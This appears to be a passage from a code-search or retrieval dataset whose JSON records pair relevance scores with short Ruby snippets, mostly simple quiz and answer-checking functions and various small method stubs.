"score": "0.6804433",
"text": "def ask question\n while true\n puts question\n reply = gets.chomp.downcase\n if (reply == 'yes' || reply == 'no')\n if reply == 'yes'\n return 'Bed Wetter!'\n else\n return 'LIES!'\n end\n else\n puts 'Please answer \"yes\" or \"no\".'\n end\n end\n answer # This is what we return (true or false).\nend",
"title": ""
},
{
"docid": "02625c30035ac75a511f0080be926005",
"score": "0.67960113",
"text": "def correct?(problem, answer)\n send(name.underscore + \"_correct?\", problem, answer)\n end",
"title": ""
},
{
"docid": "f4fa26c17288a3504ce16b194ccca080",
"score": "0.6791741",
"text": "def present_test(challenge)\r\n \r\n Console_Screen.cls #Clear the display area\r\n print challenge + \"\\n\\n: \" #Display the challenge sentence\r\n result = STDIN.gets #Collect the player's input\r\n result.chop! #Remove the end of line marker\r\n \r\n #Analyze the player input and see if it is correct\r\n if challenge == result then\r\n \r\n #Keep track of the number of correctly retyped challenge sentences\r\n $noRight += 1 \r\n Console_Screen.cls #Clear the display area\r\n puts \"Your challenge phrase was: \\n\" + challenge + \"\\n\"#Keep the player informed\r\n puts \"\\nUser entered: \\n\" + result + \"\\n\"\r\n print \"Correct!\\n\\nPress Enter to continue.\" \r\n Console_Screen.pause #Pause the game\r\n \r\n else \r\n \r\n Console_Screen.cls #Clear the display area\r\n puts \"Your challenge phrase was: \\n\" + challenge + \"\\n\"#Keep the player informed\r\n puts \"\\nUser entered: \\n\" + result + \"\\n\"\r\n print \"Incorrect!\\n\\nPress Enter to continue.\"\r\n Console_Screen.pause #Clear the game\r\n \r\n end\r\n \r\n end",
"title": ""
},
{
"docid": "a9636cc0e56f0d4768013bdb69857059",
"score": "0.6790761",
"text": "def show\n @challenge = Challenge.find(params[:id])\n\n # strip white space from solution to compare to challenge.answer which has no whitespace\n @solution = params[:solution].to_s.gsub(/\\s+/, '')\n @result = nil\n if @challenge.answer == @solution\n @result = \"Congratulations, you are incredibly smart!\"\n else\n @result = \"Whoops, looks like your solution is a little off...\"\n end\n\n end",
"title": ""
},
{
"docid": "e2e2b88f4f168bd3003d99ed5cf80ab1",
"score": "0.67905974",
"text": "def right_ans_message\n \"#{@players[@current_player].name}: YES! You are correct.\"\n end",
"title": ""
},
{
"docid": "cd8c9786d82454a697e23b8e153962bb",
"score": "0.6772783",
"text": "def validate_text_answer\n return false if self.response.nil?\n ans = question.answers.first\n self.response = self.response.downcase\n self.correct = (self.response == ans.title.downcase)\n end",
"title": ""
},
{
"docid": "12080aa805bfdfb1cf14e480ad154b1d",
"score": "0.67623377",
"text": "def coach_answer(your_message)\n if your_message == \"I am going to work right now!\"\n return \"\"\n elsif your_message.include? \"?\"\n return \"Silly question, get dressed and go to work!\"\n else\n return \"I don't care, get dressed and go to work!\"\n end\n end",
"title": ""
},
{
"docid": "0c01df794c056ea39a9b0fd4ed8d9c8a",
"score": "0.67508584",
"text": "def is_answer_format_correct(obj_question)\n error_string = \"\"\n answers = Answer.find_all_by_question_id(obj_question.id)\n correct_ans_found = 0\n no_options_given = 0\n \n unless answers.nil? or answers.blank?\n answers.each { |ans|\n if ans.answer_status == \"correct\" then\n correct_ans_found = 1\n break;\n end\n }\n else\n no_options_given = 1\n end\n\n if obj_question.question_type == \"DTQ\"\n no_options_given = 0\n correct_ans_found = 1\n end\n\n if no_options_given == 1 then\n error_string = error_string + \"No options given. \"\n end\n if correct_ans_found == 0 then\n error_string = error_string + \"No correct answer. \"\n end\n if obj_question.error_in_question.nil? then\n error_string = error_string\n else\n error_string = obj_question.error_in_question +\",\"+ error_string\n end\n return error_string\n end",
"title": ""
},
{
"docid": "baf920399f048ad86525303c0ba0c7d1",
"score": "0.67493653",
"text": "def ask question\n\twhile true\n\t\tputs question\n\t\treply = gets.chomp.downcase\n\t\tif (reply == 'yes' || reply == 'no')\n\t\t\tif reply == 'yes'\n\t\t\t\tanswer = true\n\t\t\telse\n\t\t\t\tanswer = false\n\t\t\tend\n\t\t\tbreak\n\t\telse\n\t\t\tputs 'Please answer \"yes\" or \"no\".'\n\t\tend\n\tend\n\n\tanswer #This is what we return (tru or false)\nend",
"title": ""
},
{
"docid": "d0158d0149e9fc6925ab8c18dacd710d",
"score": "0.6733173",
"text": "def isAnswer?(answer, question_to_ask)\n if answer == @question_to_ask.answer\n puts \"#{@current_player.name}: Good job!\"\n return true\n else\n puts \" #{@current_player.name}: Wrong!\"\n return false\n end\n end",
"title": ""
},
{
"docid": "d15137ac7f0ead22621a53d1c63954cb",
"score": "0.67328113",
"text": "def asks_question(question)\n centers(\"Please enter the #{question} of the student:\")\n answer = gets.chomp\n if answer.empty?\n \"none\"\n else\n answer\n end\nend",
"title": ""
},
{
"docid": "3f362346ff2a6d80deeeca396a1a7c4e",
"score": "0.6728694",
"text": "def correct_answer\n puts \"You guessed the correct number!\"\nend",
"title": ""
},
{
"docid": "a4ed63059c7858862cc3fba59e020d6d",
"score": "0.67279357",
"text": "def correct?\n @guess == @card.answer ? true : false\n end",
"title": ""
},
{
"docid": "acedbb9b17fa3c1ec8c84211876539de",
"score": "0.67270815",
"text": "def evaluate\n if @answer_array.include?(@guess)\n correct\n else\n incorrect\n end\n end",
"title": ""
},
{
"docid": "e7d648739ff4f497aa22f69374727bd8",
"score": "0.6724366",
"text": "def check_answer\n gets.chomp == 'Player'\n end",
"title": ""
},
{
"docid": "e3ee02ec5870cfc04590ad6b99c55e84",
"score": "0.67232275",
"text": "def guess(answer, standard)\n if answer == standard\n puts \"That's it!\"\n return true\n else\n puts \"Nope. I wasn't thinking of #{answer}.\"\n return false\n end\nend",
"title": ""
},
{
"docid": "640a6feca6328dee8d5a7c94bb65d8e0",
"score": "0.671522",
"text": "def answer\n @question = params[:message]\n # get the answer from (string) from the conditional\n @answer = coach_answer(@question)\n end",
"title": ""
},
{
"docid": "5a435064f224a618795e896e4b21d787",
"score": "0.67075235",
"text": "def ask question \n\twhile true\n\t\tputs question\n\t\treply = gets.chomp.downcase\n\n\t\tif (reply == 'yes' || reply == 'no')\n\t\t\tif reply == 'yes'\n\t\t\t\tanswer = true\n\t\t\telse\n\t\t\t\tanswer = false\n\t\t\tend\n\t\t\tbreak\n\t\telse\n\t\t\tputs 'Please answer \"yes\" or \"no\"'\n\t\tend\n\tend\n\n\treturn answer \t#this is what we return true or false\n\t\t\t\t\t#I like to make what is being returned explicit\n\t\t\t\t\t#because its more intuitive.\n\tend",
"title": ""
},
{
"docid": "c422044642fbb0ddba9d7b9dfd405b64",
"score": "0.67001766",
"text": "def generate_question\n num1 = rand(20)\n num2 = rand(20)\n puts \"Player #{@current_player}: What does #{num1} plus #{num2} equal?\"\n answer = gets.chomp\n verify_answer(num1, num2, answer.to_i)\nend",
"title": ""
},
{
"docid": "995ad1fcc4965543544e8a732bbdc852",
"score": "0.66997427",
"text": "def user_agree?\n return gets.chomp =~ /^(y|yes)$/i\n end",
"title": ""
},
{
"docid": "35fdc1600f0ee0309b2fb44b14b8e00b",
"score": "0.6695084",
"text": "def check_answer(x, y)\n#this is a function\n answer = 6 * x\n puts \"6 * \"+x.to_s+\" = \"+answer.to_s\n if answer == y\n puts \"CORRECT!!\"\n else\n puts \"SORRY You're wrong!!\"\n end \t\nend",
"title": ""
},
{
"docid": "f2abdba17471996a9d3de89cd7c65a3a",
"score": "0.6686881",
"text": "def check_answer(answer)\n answer == @solution\n end",
"title": ""
},
{
"docid": "ba9bb3c2bcffc987c01c37a7274fa9a8",
"score": "0.66846025",
"text": "def reprompt\n puts \"I'm sorry, I did not understand your response. Please answer with \\'yes\\' or \\'no.\\'\"\n response = gets.chomp.downcase\nend",
"title": ""
},
{
"docid": "9e2576178a97125233a6ef200b2a509f",
"score": "0.6678003",
"text": "def is_this_guess_correct(player_guess, current_right_answer)\n player_guess.chars == current_right_answer\nend",
"title": ""
},
{
"docid": "3132bb40f580020329eeef31e5baeb27",
"score": "0.6675542",
"text": "def correct_answer(x)\n \t\treturn true if x =- /Empate: / \n \tend",
"title": ""
},
{
"docid": "d21f86489bbf2e5603e19becb26fcbb7",
"score": "0.6673425",
"text": "def correctAnswerText(question)\n if question.is_a?(OTQuestion)\n if question.input.is_a?(OTChoice)\n return correctChoiceText(question).join(',')\n elsif ! $skipEmbeddedTextInput && question.input.is_a?(OTEmbeddedTextInput)\n return correctAnswerET(question.input)\n elsif question.input.is_a?(OTDataTable)\n return question.correctAnswer.text\n elsif question.input.is_a?(OTObjectSet)\n return question.correctAnswer.text\n end\n end\n 'N/A'\n end",
"title": ""
},
{
"docid": "67b9e24c76213294d2342bf6082456c6",
"score": "0.666448",
"text": "def answer_correct?(player_answer)\n if player_answer == @correct_answer\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "fd433a619d6022c7624206fb3137c895",
"score": "0.66626614",
"text": "def answer_correct(answer)\n answer.to_i == @num3\n end",
"title": ""
},
{
"docid": "0b59bae7deae1b285296ad693a0a8589",
"score": "0.66605747",
"text": "def process_answer(questionString, type)\n puts questionString\n answer = gets.chomp\n\n if answer == \"\" # no answer given\n return nil\n elsif type == :string \n return answer.to_s\n elsif type == :boolean\n while true # this will break when we hit a return\n if (answer =~ (/(true|t|yes|y)$/i)) == 0 # regex for true\n return true\n elsif (answer =~ (/(false|f|no|n)$/i)) == 0 # regex for false\n return false\n else # nonsensical answer\n p \"Please answer yes or no.\"\n answer = gets.chomp\n end\n end\n elsif type == :integer\n return answer.to_i\n elsif type == :float\n return answer.delete(\"$\").delete(\",\").to_f\n else\n p \"Invalid type given\"\n return nil\n end\nend",
"title": ""
}
] |
01376e6b7839300e66f5ab188a7d763c
|
Tests if replication stream is in error state
|
[
{
"docid": "52ba0c3ea400a20de343c942d55dda1f",
"score": "0.68425316",
"text": "def error?\n self.State == P2::DS_STATE_ERROR\n end",
"title": ""
}
] |
[
{
"docid": "6abc0c4452bf70a0088e8d40137dff81",
"score": "0.7117488",
"text": "def error?\n @status == ERROR_FLAG\n end",
"title": ""
},
{
"docid": "eb2fc6be3dea89783d72c80904f77d33",
"score": "0.69711083",
"text": "def error?\n\t\tEventMachine::report_connection_error_status(@signature) != 0\n\tend",
"title": ""
},
{
"docid": "36691565b13e8d7f45c6166b04e71b3e",
"score": "0.69200677",
"text": "def has_error?\n status == ERROR \n end",
"title": ""
},
{
"docid": "39678cd42f6b9e2a802fdd26115c1f68",
"score": "0.6859363",
"text": "def error_log?\n @status.exitstatus & (1 << 6) != 0\n end",
"title": ""
},
{
"docid": "b00cf79594369b86ea8af17004f2cfab",
"score": "0.6838308",
"text": "def error?\n status == STATUS_ERROR\n end",
"title": ""
},
{
"docid": "07e9a08cbada9bb9a63a1e4788e9f8e6",
"score": "0.67789346",
"text": "def error_log?\n @status.exitstatus & (1 << 6) != 0\n end",
"title": ""
},
{
"docid": "cd196b07107455837c060bac2298d5af",
"score": "0.6777558",
"text": "def error?\n error_state?(peek_current_state)\n end",
"title": ""
},
{
"docid": "51296070d187ad3b7341706fa76c5e55",
"score": "0.6739124",
"text": "def error? *args, **kwds, &io_block\n stream(*args, **kwds, &io_block) != 0\n end",
"title": ""
},
{
"docid": "b325db4a4e02d91f5287fc09797403fb",
"score": "0.67218906",
"text": "def error?\n status[:error] || false\n end",
"title": ""
},
{
"docid": "e22d3bb0625f8c4a5e57900664562e06",
"score": "0.66615874",
"text": "def error?\n !failure?\n end",
"title": ""
},
{
"docid": "ee646e666c5825c5fe508cfbce3c5729",
"score": "0.66392004",
"text": "def is_error?\n return (self.status == HostResult::STATUS_ERROR)\n end",
"title": ""
},
{
"docid": "dd751f02f8a031e73d11f181758d52c5",
"score": "0.6567552",
"text": "def error?\n logger.debug { sign_message(\"Error state : #{@error}\") }\n if @error\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "86e493da589d79c99c86ef14b251777f",
"score": "0.6555013",
"text": "def error_state?(state)\n STATES[state] >= ERROR_STATE_THRESHOLD\n end",
"title": ""
},
{
"docid": "46d2661c6e8315a1832a4558300960c7",
"score": "0.6534018",
"text": "def error?\n !success?\n end",
"title": ""
},
{
"docid": "d6fb2fdda4ce9ec9d4e0cbc2090bd1a9",
"score": "0.65330434",
"text": "def error?\n !! @error\n end",
"title": ""
},
{
"docid": "7c07e508258ae781881d7f74b574fcf2",
"score": "0.65316755",
"text": "def error?\n get_last_error['err'] != nil\n end",
"title": ""
},
{
"docid": "7c07e508258ae781881d7f74b574fcf2",
"score": "0.65316755",
"text": "def error?\n get_last_error['err'] != nil\n end",
"title": ""
},
{
"docid": "7104a5d1bd3c134e56f689360c7f054f",
"score": "0.6507588",
"text": "def error?\n @error\n end",
"title": ""
},
{
"docid": "7104a5d1bd3c134e56f689360c7f054f",
"score": "0.6507588",
"text": "def error?\n @error\n end",
"title": ""
},
{
"docid": "79aa09ad5d4eb43c1c3498dc75f864eb",
"score": "0.650589",
"text": "def error?\n !!(status.to_s =~ /[4|5]\\d\\d/)\n end",
"title": ""
},
{
"docid": "00749f900d00dd644ee7abe2af1fb460",
"score": "0.6484017",
"text": "def error?\n error = (self[:error_upgrade] & 0b1111111)\n return error != 0\n end",
"title": ""
},
{
"docid": "28e4e6a647e55692c2c49933f5d6fbb4",
"score": "0.6480602",
"text": "def error?\n last_error.present?\n end",
"title": ""
},
{
"docid": "3fc0c7ae9f406ce0277c32045ed83b81",
"score": "0.646709",
"text": "def error?\n reply_code > 0 && reply_code != 20201\n end",
"title": ""
},
{
"docid": "b51bc34a051546c16679750bdc462df8",
"score": "0.6463453",
"text": "def recovered_errors?\n errors_by_status? :recovered\n end",
"title": ""
},
{
"docid": "c1b8f25f5c2534ab5ccc58e87217bb30",
"score": "0.6458201",
"text": "def error?\n error.to_bool\n end",
"title": ""
},
{
"docid": "7cb413e6538fd487be78881c82a3629f",
"score": "0.64545286",
"text": "def error?\n not @error.nil?\n end",
"title": ""
},
{
"docid": "16fa5205eef9d19f6044bcc3568c050a",
"score": "0.6453144",
"text": "def error?\n !success?\n end",
"title": ""
},
{
"docid": "fe1b7242806232bfa4494375f0d8446e",
"score": "0.64504164",
"text": "def error?\n !!@error\n end",
"title": ""
},
{
"docid": "c3d7f5135b6be8ffa0c6077b6f6d4744",
"score": "0.6445659",
"text": "def error?\n self.type == :error\n end",
"title": ""
},
{
"docid": "c3d7f5135b6be8ffa0c6077b6f6d4744",
"score": "0.6445659",
"text": "def error?\n self.type == :error\n end",
"title": ""
},
{
"docid": "a6fccd8edc784308c92feb81d870d183",
"score": "0.6434591",
"text": "def error?\n outcome == ERROR\n end",
"title": ""
},
{
"docid": "4670f990fd84b25b9ef9a9b3353b8c9f",
"score": "0.64163876",
"text": "def error?\n !error.nil?\n end",
"title": ""
},
{
"docid": "4670f990fd84b25b9ef9a9b3353b8c9f",
"score": "0.64163876",
"text": "def error?\n !error.nil?\n end",
"title": ""
},
{
"docid": "2f13b0c8900d3e33d0e8ee8bd4e5f482",
"score": "0.6385367",
"text": "def error?\n false\n end",
"title": ""
},
{
"docid": "ac2e9b37c84df1cc2d308aa86a58bd12",
"score": "0.6379319",
"text": "def error?\n error\n end",
"title": ""
},
{
"docid": "6ee6376522186481195f2ecf988e3adb",
"score": "0.63766706",
"text": "def error?\n severity == :ERROR\n end",
"title": ""
},
{
"docid": "faee0ea59de0674d50681b080cd9d9a0",
"score": "0.6370553",
"text": "def error?\n !error.nil?\n end",
"title": ""
},
{
"docid": "d0f0255a17f023b7f26f8bb3133d28ab",
"score": "0.6363728",
"text": "def error?\n type == :error\n end",
"title": ""
},
{
"docid": "63fc25920117c0d8b793c20957951070",
"score": "0.6360628",
"text": "def error?\n true\n end",
"title": ""
},
{
"docid": "4b99a22aea4a7baa7fb0940723d9ba19",
"score": "0.632199",
"text": "def errors?\n @statistics[:error] != 0\n end",
"title": ""
},
{
"docid": "176548061b4bc890cadfb83a0ec86a6d",
"score": "0.6309965",
"text": "def error?\n false\n end",
"title": ""
},
{
"docid": "176548061b4bc890cadfb83a0ec86a6d",
"score": "0.6309965",
"text": "def error?\n false\n end",
"title": ""
},
{
"docid": "8863b04d8be84378152148691c7d8487",
"score": "0.63085306",
"text": "def error?\n false\n end",
"title": ""
},
{
"docid": "c0f83023d1dd3c93b0d46347700a332f",
"score": "0.6298248",
"text": "def error?\n level <= ERROR\n end",
"title": ""
},
{
"docid": "305b088b47d0472f138024fc5b04c1ba",
"score": "0.6296378",
"text": "def error?\n self.error || false\n end",
"title": ""
},
{
"docid": "b5619ff295f1a95f469ee5170a350f89",
"score": "0.6272068",
"text": "def error?()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "80812e5b32b8a69ab25073401bfe1253",
"score": "0.62529486",
"text": "def error?\n !success?\n end",
"title": ""
},
{
"docid": "2f48f8571988b5236e527b143768875b",
"score": "0.62520796",
"text": "def healthy?\n #todo: paramaterize this a bit more.\n replication_lag_bytes < 1024 && state == 'streaming'\n end",
"title": ""
},
{
"docid": "2ba7711f468b275a3a67676e2834a356",
"score": "0.6251588",
"text": "def failure?\n !error?\n end",
"title": ""
},
{
"docid": "a271bedc8818635130e2da4fb1f702b5",
"score": "0.62433946",
"text": "def conn_errors?\n !@errors.empty?\n end",
"title": ""
},
{
"docid": "393b211d697c5754d04100d29ca5ffac",
"score": "0.62287146",
"text": "def error?\n return !ok?\n end",
"title": ""
},
{
"docid": "22de9a84dbcf2be522e383d636806702",
"score": "0.6219652",
"text": "def is_error?\n is_server_error? || is_client_error?\n end",
"title": ""
},
{
"docid": "5e87dd7b100515d974cac17736e9f2b5",
"score": "0.621757",
"text": "def error?\n !@error.equal?(NOT_SET)\n end",
"title": ""
},
{
"docid": "e45a4351543bf2a1999ca3165576efc7",
"score": "0.62036705",
"text": "def dropped_errors?\n errors_by_status? :dropped\n end",
"title": ""
},
{
"docid": "e97e18936a36b2f80561ca9e29517298",
"score": "0.6201431",
"text": "def error?\n !!@error\n end",
"title": ""
},
{
"docid": "e97e18936a36b2f80561ca9e29517298",
"score": "0.6201431",
"text": "def error?\n !!@error\n end",
"title": ""
},
{
"docid": "900786f64be27979f84e910ee9636176",
"score": "0.6169242",
"text": "def discarded?\n finished? && error.present?\n end",
"title": ""
},
{
"docid": "b087e591f60dbfa7fe4e2f8d14499909",
"score": "0.61673474",
"text": "def failed?\n @state == :failed\n end",
"title": ""
},
{
"docid": "7f87d0510b25706b979007e43246c5c9",
"score": "0.6165513",
"text": "def failed?\n state == :failed\n end",
"title": ""
},
{
"docid": "32ee29e31c71704617cb776c863ffc0c",
"score": "0.61643773",
"text": "def stderr?\n exists = @stderr.length > 0\n unless exists\n consume_connection\n exists = @stderr.length > 0\n end\n exists\n end",
"title": ""
},
{
"docid": "7c54031872f7cdf3724dc49ae2f05e06",
"score": "0.6152372",
"text": "def errors?\n @error_count > 0\n end",
"title": ""
},
{
"docid": "202828200a5ab5235270d24904719439",
"score": "0.6150719",
"text": "def lost?\n errors_allowed == 0\n end",
"title": ""
},
{
"docid": "386cc98acb9788a067ee24c42709118b",
"score": "0.61503935",
"text": "def on_error?\n @kind == :on_error\n end",
"title": ""
},
{
"docid": "7a76d31dd2f81bcde25db3e6f3b98742",
"score": "0.6126265",
"text": "def error_check(rc)\n if ZMQ::Util.resultcode_ok?(rc)\n false\n else\n puts \"Operation failed, errno [#{ZMQ::Util.errno}] description [#{ZMQ::Util.error_string}]\"\n caller(1).each { |callstack| puts callstack }\n true\n end\nend",
"title": ""
},
{
"docid": "8e2cd5eeb0e285587b28a9e42a32d45d",
"score": "0.6124765",
"text": "def error?\n done? ? @grpc_op.result == :error : false\n end",
"title": ""
},
{
"docid": "a054fa208fec70dd4f6234ad3178daa6",
"score": "0.6122178",
"text": "def error?\n !error.blank?\n end",
"title": ""
},
{
"docid": "d41a1025a48ade7971452e58c4fcfb03",
"score": "0.61184067",
"text": "def error?\n task_result_field if States::Error.include?(task_state)\n end",
"title": ""
},
{
"docid": "6111bfb722d2ed99d43a96554e849744",
"score": "0.6117997",
"text": "def errored\n @errored ||= count('errored')\n end",
"title": ""
},
{
"docid": "c6bce503c40135bb029b053ae8ad3e0a",
"score": "0.6087879",
"text": "def error?\n level >= ASL_LEVEL_ERR\n end",
"title": ""
},
{
"docid": "2da351bb4a88c9ecc57d6af17345477a",
"score": "0.6066082",
"text": "def efsm?() EFSM == @error_code; end",
"title": ""
},
{
"docid": "7c73ef150441b2de9b2b68dd876aae7d",
"score": "0.6064467",
"text": "def failure?\n terminal_flag == :failure\n end",
"title": ""
},
{
"docid": "0570314c1dfcbf95a9e68e0be0ccbde8",
"score": "0.605092",
"text": "def status_is_servererror?\n\t\treturn self.status_category == 5\n\tend",
"title": ""
},
{
"docid": "32fdf4664f4275f75ec9339490369e3a",
"score": "0.6039052",
"text": "def error?\n no_error_code = error_code.nil? || error_code.zero?\n done? && !(err.nil? && no_error_code)\n end",
"title": ""
},
{
"docid": "57618688a494c5dce2744e6dab2d1ea0",
"score": "0.60317415",
"text": "def check_error_no\n @error_no = 0\n if @err_bit\n if @data != nil && @data.size > 0\n @error_no = (0x0 - 0xFFFFFFFF + (BioPacket.swap_dword(@data.first) - 1)).to_i\n @error_desc = BioPacket.format_err_desc(@error_no)\n $test_logger.log(\"Error#{(\" in ACK\" if @ack_bit)}: #{@error_no} #{@error_desc}\")\n else \n $test_logger.log(\"Error bit is set but error code not found!!\")\n end\n end\n end",
"title": ""
},
{
"docid": "57776e88f275a17201796b066b84dfe2",
"score": "0.6007454",
"text": "def change_stream_resumable?\n if @result && @result.is_a?(Mongo::Operation::GetMore::Result)\n # CursorNotFound exceptions are always resumable because the server\n # is not aware of the cursor id, and thus cannot determine if\n # the cursor is a change stream and cannot add the\n # ResumableChangeStreamError label.\n return true if code == 43\n\n # Connection description is not populated for unacknowledged writes.\n if connection_description.max_wire_version >= 9\n label?('ResumableChangeStreamError')\n else\n change_stream_resumable_code?\n end\n else\n false\n end\n end",
"title": ""
},
{
"docid": "63f66e40850472f234c70daf4a7694da",
"score": "0.600605",
"text": "def conversion_error?\n scribd_document && scribd_document.conversion_status == 'ERROR'\n end",
"title": ""
},
{
"docid": "ed26c774a85d9234764517a674c15ea3",
"score": "0.59955156",
"text": "def call_error?(rc) (rc.respond_to?(:ok?) and rc.ok?) ? false : true end",
"title": ""
},
{
"docid": "eee9662d1013c2400e042e11c935896c",
"score": "0.5987807",
"text": "def error?\n self.numeric? && ERROR_REPLY_RANGE.cover?(self.command)\n end",
"title": ""
},
{
"docid": "20f434bc14afabe1f796c6fc2333ab0b",
"score": "0.5975866",
"text": "def has_errors?\n return @exitcode == 2 || @exitcode == 1\n end",
"title": ""
},
{
"docid": "7c06618582f075419b65b4b52744cc14",
"score": "0.59660786",
"text": "def error?\n attributes['error'] != 0\n end",
"title": ""
},
{
"docid": "aa2780fb1ac5325011088dba09fd5b9c",
"score": "0.59534216",
"text": "def failure?\n error.nil?\n end",
"title": ""
},
{
"docid": "cc95299b35866c74e41307768102cc63",
"score": "0.5938633",
"text": "def failed?; failed_to_start? || (@success == false) end",
"title": ""
},
{
"docid": "37fc5f91d42984ffc946f785699ce3ab",
"score": "0.5925854",
"text": "def errors?\n !success?\n end",
"title": ""
},
{
"docid": "07da94dcc84696394c8c5e17f54ea0db",
"score": "0.59185654",
"text": "def conn_error?(key)\n c = get_connection_by_key(key)\n c && c.error?\n end",
"title": ""
},
{
"docid": "e88975b825f720b60e056d73d02591db",
"score": "0.59164715",
"text": "def failed?\n error.present?\n end",
"title": ""
},
{
"docid": "e5a9a655fc985bc1e50c23a030ac5ee9",
"score": "0.5915272",
"text": "def connect_error?\n @connerror || false\n end",
"title": ""
},
{
"docid": "f134e8d70a5a28a69472c90054d2014c",
"score": "0.5913606",
"text": "def conversion_error?\n ipaper_document && ipaper_document.conversion_status == 'ERROR'\n end",
"title": ""
},
{
"docid": "a651d5c2bb252f6a2e45795ae5a238b4",
"score": "0.5898149",
"text": "def failed?\n !succeeded? && !in_progress?\n end",
"title": ""
},
{
"docid": "8eed3274a9ea83549b4f7af8a14de1a0",
"score": "0.58970803",
"text": "def checkErroredStatus\n case @stage\n when DOWNLOAD\n $log.info{ \"check downloaded file. @downNG=#{@downNG}\" }\n return true if @downNG\n rawFileError?\n when CONVERT\n outFileError?\n else\n true\n end\n end",
"title": ""
},
{
"docid": "a4f3292381535fa2ae3d86295dcd112b",
"score": "0.5894491",
"text": "def error?\n !!@exception\n end",
"title": ""
},
{
"docid": "6dfdc40ded955fe7ce87916b29b3e27b",
"score": "0.5891714",
"text": "def error?\n message.fields[0] == 'WE'\n end",
"title": ""
},
{
"docid": "42a947df6aa4a3ed86bdb0cc708d5421",
"score": "0.5888117",
"text": "def error?\n resources.error.count > 0\n end",
"title": ""
},
{
"docid": "42a947df6aa4a3ed86bdb0cc708d5421",
"score": "0.5888117",
"text": "def error?\n resources.error.count > 0\n end",
"title": ""
},
{
"docid": "e5f7574c9829dd682ee9defe0f5450a4",
"score": "0.58782756",
"text": "def failure?\n @status == FAILURE_FLAG\n end",
"title": ""
},
{
"docid": "297fdb736f2069252de54663db270a90",
"score": "0.5874245",
"text": "def errors_ok?(output)\n output.errors.none? { |e| e.code != 801 }\n end",
"title": ""
},
{
"docid": "297fdb736f2069252de54663db270a90",
"score": "0.5874245",
"text": "def errors_ok?(output)\n output.errors.none? { |e| e.code != 801 }\n end",
"title": ""
},
{
"docid": "4d71bdcad4757511839462e4d5148851",
"score": "0.58653367",
"text": "def error?\n self.body.keys.include?(:err_code)\n end",
"title": ""
},
{
"docid": "528197f4b3d45d9484515202dde72d71",
"score": "0.5864982",
"text": "def error?\n return true if errors.count > 0\n\n false\n end",
"title": ""
},
{
"docid": "55a6c335783ec71b2a78681ac80597f0",
"score": "0.58595175",
"text": "def relaunch?\n errors.present?\n end",
"title": ""
},
{
"docid": "bd2296b7594da6b99774c4ee745a0322",
"score": "0.5850215",
"text": "def is_error_transition_for?(event_name, error)\n is_same_event?(event_name) && error.class == from\n end",
"title": ""
}
] |
8e43bf117f0f258f83405ac6873873ba
|
Preferred by a Rubyist
|
[
{
"docid": "d868770f360a2e37e573c62c0a008d7b",
"score": "0.0",
"text": "def get_avg(num_1, num_2)\n (num_1 + num_2) / 2\nend",
"title": ""
}
] |
[
{
"docid": "142778c4bdd287e558dd6e337afee8cf",
"score": "0.6394588",
"text": "def prefered\n first\n end",
"title": ""
},
{
"docid": "94a9f9cebb96ca3b29ccb5ba3cfcdd94",
"score": "0.5958863",
"text": "def alternatives; end",
"title": ""
},
{
"docid": "a9810c1006c12de36da39f154f82bc69",
"score": "0.591286",
"text": "def best_picked\n end",
"title": ""
},
{
"docid": "acf5ce6a07b808bf365c956951b27d19",
"score": "0.5740016",
"text": "def decide(knowns)\n\n\n end",
"title": ""
},
{
"docid": "b6b2bcc0062aeb115edab7b10cbe6930",
"score": "0.5718597",
"text": "def desired; end",
"title": ""
},
{
"docid": "e72de8b013d992e6062a5ca482659c53",
"score": "0.56504375",
"text": "def best_available; end",
"title": ""
},
{
"docid": "e72de8b013d992e6062a5ca482659c53",
"score": "0.56504375",
"text": "def best_available; end",
"title": ""
},
{
"docid": "ba04b32da1017e8cf8b328cdd55d4de2",
"score": "0.5516037",
"text": "def is_preferred; end",
"title": ""
},
{
"docid": "9d27c65dba5c0b0d7328f81a4a5c7e24",
"score": "0.54871726",
"text": "def best_friend; 'octocat'; end",
"title": ""
},
{
"docid": "bf9742c7082e64892c640f91b7d98bb8",
"score": "0.54811037",
"text": "def bests\n \n end",
"title": ""
},
{
"docid": "c81c4d008a991cf57547e144e949596c",
"score": "0.54802483",
"text": "def compare?; end",
"title": ""
},
{
"docid": "802955c76c7ca89263d6b05faba8097f",
"score": "0.5476818",
"text": "def usage_class_guess\n end",
"title": ""
},
{
"docid": "5928f8efe9c6c2d408ea21a4cdce83ad",
"score": "0.54660904",
"text": "def preliminary?; end",
"title": ""
},
{
"docid": "20f1d9231707bd841c4778d867c0be6f",
"score": "0.5458143",
"text": "def best\n return ['--best'] if @best; []\n end",
"title": ""
},
{
"docid": "20f1d9231707bd841c4778d867c0be6f",
"score": "0.5458143",
"text": "def best\n return ['--best'] if @best; []\n end",
"title": ""
},
{
"docid": "bc658f9936671408e02baa884ac86390",
"score": "0.5442583",
"text": "def anchored; end",
"title": ""
},
{
"docid": "9f1d445475b215052afbde046776d6df",
"score": "0.5433069",
"text": "def decide\n brain.decide\n end",
"title": ""
},
{
"docid": "dd634988bef3cbda8a94486413375360",
"score": "0.5428296",
"text": "def lookup; end",
"title": ""
},
{
"docid": "dd634988bef3cbda8a94486413375360",
"score": "0.5428296",
"text": "def lookup; end",
"title": ""
},
{
"docid": "51831e97297594d24b32c3d42247ece9",
"score": "0.5417635",
"text": "def scram_compare_value\n \"default-holder\"\n end",
"title": ""
},
{
"docid": "f42c06ab347b27d97fef9117ecea18b1",
"score": "0.5417133",
"text": "def suggest\n match = nil\n head = version_in_use.rpartition('.').first\n versions.sort_by { |v| v['built_at'] }.reverse.each do |ver|\n ver = ver['number']\n match = ver and break if ver.start_with?(head)\n end\n (match == version_in_use) || (match == version_available) ? nil : match\n end",
"title": ""
},
{
"docid": "3603302f2f41d5a07ab00422df1f266a",
"score": "0.5409904",
"text": "def recommended? ; @recommended == 'R' end",
"title": ""
},
{
"docid": "6e37c1e308f058381c565a17b02678f5",
"score": "0.5405245",
"text": "def hermitian?; end",
"title": ""
},
{
"docid": "159d8004685e8944907833f9e84def81",
"score": "0.53961515",
